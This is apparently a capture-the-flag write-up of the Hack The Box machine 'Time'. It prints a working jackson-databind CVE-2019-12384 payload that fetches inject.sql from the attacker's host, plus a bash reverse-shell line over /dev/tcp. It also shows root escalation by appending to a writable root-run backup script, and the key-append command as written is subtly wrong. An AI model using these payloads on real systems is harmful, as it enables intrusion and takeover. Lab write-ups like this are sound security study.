Time was a medium box and it might end up as a hard box if you are not good at reading the output and the errors. This box has no connection with time privilege escalation but it has a similarity. It had an Apache server hosting a PHP website.
Nmap scan for time had only two ports,80
& 22
. The versions seemed to be stable without any potential vulnerabilities. Nmap scan gave a hint it might be something related to JSON.
Nmap scan report for 10.10.10.214
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 returned a form that will beautify the input. With the relevant information in the form title, it looked like GUI for jq
.jq is a lightweight and flexible command-line JSON processor, JSON stands for JavaScript Object Notation. JSON is a lightweight format for storing and transporting data. JSON is often used when data is sent from a server to a web page. Most of the popular API and data services use the JSON data format and data in jq is represented as a stream of JSON values. There were two options available on the webpage.
- Beautify
- Validate (beta!)
jq command line will parse an input {"test":"hello"}
and the output will be
{
"test" : "hello"
}
Starting with the first option, the thought was to look for an RCE using an input "bash" : "id"
. That was a normal response, it beautified the input and responded with a normal parsed JSON output. But the result to the second option validate
returned a JAVA exception. It was time to proxy the request to burp and see how the requests were made.
POST / HTTP/1.1
Host: 10.10.10.214
User-Agent: <SNIP>
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://10.10.10.214
Connection: close
Referer: http://10.10.10.214/
Upgrade-Insecure-Requests: 1
mode=2&data=%7B%22test%22%3A%22hello%22%7D
The request looked fine, a URL encoded input and the option that was chosen for parsing the input. The response was in HTML and scrolling to the error section revealed more information.
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
It was a JAVA exception error and parser was using fasterxml.jackson package to parse the input. The error was triggered since the input was not in an array format. A JSON array input cleared the error and the response was received. Jackson is a java based library that is used to serialize or map POJO(Plain Old Java Objects) to JSON and deserialize JSON to POJO. Error with a package name was a good candidate to move forward. There were lot of vulnerable versions available and finding the right one was time-consuming.CVE Details had all vulnerabilities listed for fasterxml jackson,but CVE-2019-14379 & CVE-2019-12384 were remote code execution vulnerabilities. If there is an RCE get a shell, that is a general theory behind every hack-the-box machine. I couldn’t find an exploit for CVE-2019-14379 at the same time CVE-2019-12384 had an exploit available in Github.As per the documentation available for 2019-12384
jackson-databind 2.x before 2.9.9.1 was vulnerable.
CVE-2019-12384
FasterXML jackson-databind 2.x before 2.9.9.1 might allow attackers to have a variety of impacts by leveraging failure to block the logback-core class from polymorphic deserialization. Depending on the classpath content, remote code execution may be possible.
The process was well documented in GitHub. Create an inject.sql
file, fetch the file from the attacking machine using the payload.
inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/<IP>/<PORT> 0>&1 &')
Payload
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://IP:PORT/inject.sql'"}]
The above payload was provided as input and it opened a shell as the user pericles
. Pericles had the privilege to read the user.txt and the box was half done. There was a website.bak.zip
in the home directory of user pericles. But that was a backup of the JSON parser running in port 80. Box name always has a vital role in hack the box and time clock privilege escalation was the first thing that came into mind, but the permissions were not set with a SUID bit.
pericles@time:/tmp$ ls -la /usr/bin/time
-rwxr-xr-x 1 root root 14720 Apr 21 2017 /usr/bin/time
Till this point, there was no connection with time, the box name. Time clock privilege escalation failed. Groups, crontab, hidden files every manual enumeration was a dead end. Since the reverse shell was for the user pericles,there was no password and checking the SUDO permissions was not important at all. Next was linepeash.sh
, but before going for that, I listed everything that started with time and belonged to user pericles. The result had many permission denied
lines, so it was removed using grep. The result was promising
pericles@time:/home/pericles$ find / -name time* -user pericles > /tmp/results.txt
pericles@time:/tmp$ grep -v denied results.txt
/usr/bin/timer_backup.sh
/proc/47986/timers
/proc/47986/timerslack_ns
/proc/243206/timers
/proc/243206/timerslack_ns
/proc/243302/timers
/proc/243302/timerslack_ns
/proc/243303/timers
/proc/243303/timerslack_ns
/proc/249665/timers
/proc/249665/timerslack_ns
A bash file was located at /usr/bin. The file created the backup file which was located at pericles’ home directory. As per the script this backup was moved to /root directory. Without a root privilege, a file cannot be moved to /root directory. Script has to be executed by root. The escalation was visible pass the public ssh key to authorized_hosts of the root user and escalate the privileges. This can be done in two ways, create a public key for pericles and pass that to authorized_keys or use a public key from the attacking machine and pass that to authorized_keys. Created an ssh key for pericles and escalated the privileges.
pericles@time:/home/pericles$ ssh-keygen
pericles@time:/home/pericles$ echo "echo privesc.pub >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh
pericles@time:/home/pericles$ ssh -i privesc root@127.0.0.1
Time was rooted !!